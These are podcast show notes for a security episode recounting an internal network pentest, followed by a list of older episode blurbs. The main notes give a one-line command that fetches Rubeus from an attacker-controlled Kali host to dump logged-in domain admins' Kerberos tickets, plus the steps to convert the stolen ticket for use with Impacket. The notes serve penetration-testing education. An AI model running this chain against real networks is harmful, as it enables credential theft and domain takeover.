7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Avsnitt(689)

7MS #96: How to Make Enemies During a Security Assessment

7MS #96: How to Make Enemies During a Security Assessment

Yep, we're talking about how to make ENEMIES during a security assessment today (and maybe turn them into friends).

23 Sep 20159min

7MS #95: How to Make Friends During a Security Assessment

7MS #95: How to Make Friends During a Security Assessment

When you start a security assessment with a company, not everybody's gonna be glad to see you. The IT dept and other employees may have tense shoulders, thinking that this is an Office Space situation where they're interviewing for their jobs. This episode talks about some ways you might be able to get your assessment off to a right start.

17 Sep 20157min

7MS #94: Learn How to Burp - Part 1

7MS #94: Learn How to Burp - Part 1

I've been looking for better ways to learn Burp Suite and I struck gold! Check out my recommendations in today's episode!

15 Sep 20158min

7MS #93: Securing Your Life

7MS #93: Securing Your Life

So yeah, this is kind of off-topic, but have you thought about security in the sense of "What kinds of security things should I be doing before I'm dead?" Today's episode explores that.

11 Sep 20158min

7MS #92: You're Not Ready for Big Boy Security Pants

7MS #92: You're Not Ready for Big Boy Security Pants

Sometimes I get in situations where clients want their WHOLE security program reviewed, but in reality, they are still in the baby steps phase. What's the right thing to do when, for lack of a better term, the client isn't ready to put on their security big boy points?

9 Sep 20157min

7MS #91: Umbrella

7MS #91: Umbrella

Today's episode is about Umbrella, a product from OpenDNS that provides a layer of protection against malware, wifi-jacking and other threats.

3 Sep 20157min

7MS #90: OFFTOPIC-Citizenfour

7MS #90: OFFTOPIC-Citizenfour

We're going offtopic today and talking about the Citizen Four documentary, which centers around the Edward Snowden story.

1 Sep 20158min

7MS #89: AppSpider

7MS #89: AppSpider

Today we're talking about a new (to me) Web site/app scanning tool called AppSpider by Rapid7. Again, this isn't a commercial or paid advertisement. I just like sharing things that I like and use.

27 Aug 20158min

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